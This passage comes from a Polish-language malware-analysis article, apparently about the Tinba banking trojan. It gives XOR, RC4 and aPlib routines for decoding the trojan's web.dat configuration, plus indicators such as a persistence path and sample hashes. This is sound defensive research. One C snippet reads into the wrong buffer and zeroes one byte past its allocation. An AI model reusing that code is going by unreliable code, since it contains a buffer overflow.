        xor ebx, ebx
        mov ebx, 0x3E2C7AD7
       
    loop1:
        xor [ecx], bl
        ror ebx, 8
        inc ecx
        dec eax
        jnz loop1
    end1:
        mov ebx, esi
    }


Do funkcji przekazujemy dwa parametry: wskaźnik do tablicy z wczytanym plikiem web.dat oraz rozmiar. Poniżej fragment kodu odczytujący plik i wyliczający rozmiar.

FILE *fin;

fopen_s(&fin, argv[1], "rb");
fseek(fin, 0, SEEK_END);
sourcefilesize = ftell(fin);
rewind(fin);
char * tab_scr = (char *)malloc(sourcefilesize);
fread(buf1, 1, sourcefilesize, fin);
for (i = 0; i <= sourcefilesize; i++)
tab_scr[i] = 0;
memcpy(tab_scr, buf1, sourcefilesize); 

 

2. Odkodowywanie z kluczem RC

 


Fragment odkodowanego pliku:


Poniżej funkcja [2], którą zastosujemy w naszym programie dekodującym:

    rc4(char * Input, char * password, char * &Output, int sourcefilesize){
    char * temp;
    int i, j = 0, t, tmp, tmp2, s[256], k[256];
    for (tmp = 0; tmp<256; tmp++){
        s[tmp] = tmp;
        k[tmp] = password[(tmp % strlen((char *)password))];
    }
    for (i = 0; i<256; i++){
        j = (j + s[i] + k[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
    }
    temp = new char[sourcefilesize];
    i = j = 0;
    for (tmp = 0; tmp< sourcefilesize; tmp++){
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        tmp2 = s[i];
        s[i] = s[j];
        s[j] = tmp2;
        t = (s[i] + s[j]) % 256;
   
            temp[tmp] = s[t] ^ Input[tmp];
    }
   
    Output = temp;
}

 

3. Dekompresja odkodowanego pliku

 

Kompresja danych i dekompresja bazuje na aPlib:


Ostatni fragment kodu funkcji dekompresującej: 

        int decompress(const void *tab_scr, void *tab_dst){

            __asm{
            pushad
            mov    esi, [esp + 0x18]; tablica źródłowa
            mov    edi, [esp + 0x1c]; docelowa tablica
            add    esi, 4; omijamy nagłówek AP32
            cld
            mov    dl, 80h
            xor    ebx, ebx
           
        literal:
            movsb
            mov    bl, 2
        nexttag:
            call    getbit
            jnc     literal               

            xor     ecx, ecx
            call    getbit
            jnc     codepair           
            xor     eax, eax
            call    getbit
            jnc     shortmatch           
            mov    bl, 2
            inc     ecx
            mov     al, 10h
        getmorebits:
            call    getbit
            adc     al, al
            jnc     getmorebits               
            jnz     domatch
            stosb
            jmp     nexttag
        codepair:
            call    getgamma_no_ecx
            sub     ecx, ebx; sub    ecx, ebx
            jnz     normalcodepair
            call    getgamma
            jmp     domatch_lastpos
        shortmatch:
            lodsb                               
            shr     eax, 1
            jz      donedepacking               
            adc     ecx, ecx
            jmp     domatch_with_2inc
        normalcodepair:
            xchg    eax, ecx
            dec     eax
            shl     eax, 8
            lodsb                               
            call    getgamma

            cmp     eax, 32000
            jnc     domatch_with_2inc           
            cmp     ah, 5
            jnc     domatch_with_inc           
            cmp     eax, 7Fh
            ja      domatch_new_lastpos
        domatch_with_2inc:
            inc     ecx
        domatch_with_inc:
            inc     ecx
        domatch_new_lastpos:
            xchg    eax, ebp
        domatch_lastpos:
            mov     eax, ebp
            mov    bl, 1
        domatch:   
            push    esi
            mov     esi, edi
            sub     esi, eax
            rep     movsb
            pop     esi
            jmp     nexttag
        getbit:       
            add     dl, dl
            jnz     stillbitsleft
            mov     dl, [esi]
            inc     esi
            adc     dl, dl
        stillbitsleft:
            ret
        getgamma:
            xor     ecx, ecx
        getgamma_no_ecx:
            inc     ecx
        getgammaloop:
            call    getbit
            adc     ecx, ecx
            call    getbit
            jc      getgammaloop       
            ret
        donedepacking:
            sub    edi, [esp+0x1c];    dest //wyliczanie rozmiaru
            mov    [esp], edi; //esp _ret$ zwracamy rozmiar docelowy
            popad
    }}

Kod aPlib możemy znaleźć  między innymi na tych stronach  [3] i [4].  Uwaga, w stosunku do wskazanych źródeł [2,3,4] dokonaliśmy modyfikacji, więc najlepiej wykorzystać podany tutaj kod.
Pozostaje nam już tylko zapisać wynik do pliku.

size_of_output = decompress(tab_scr, tab_dst);
fwrite(tab_dst, size_of_output, 1, fout);


Rezultat przedstawiony jest poniżej:


Analizując malware można też zidentyfikować inny klucz XOR - F3AA0663 (tym razem stały). Używany jest on do odkodowywania fragmentów konfiguracyjnych malware, które w formie zakodowanej znajdują się w sekcji danych aplikacji.

Funkcja dekodująca:


Fragment wczytujący BOTUID do zapytania URL:

Plik wykonywalny dodawany do klucza RUN zapisywany jest w katalogu:

C:\Users\<username>\AppData\Roaming\3E2C7AD7\bin.exe

Źródła:
[1] http://blog.fortinet.com/post/tinba-the-pied-piper-leading-your-banking-credentials-into-the-hands-of-hackers
[2] http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=4653&lngWId=3
[3] http://ibsensoftware.com/products_aPLib.html
[4] https://code.google.com/p/at2/issues/detail?id=17
[5] Próbki:  MD5: 49BDB9D33F6F7B0C5919A1CB289365EA oraz MD5: AE2B35B39011DFAA7F5A8072899A699C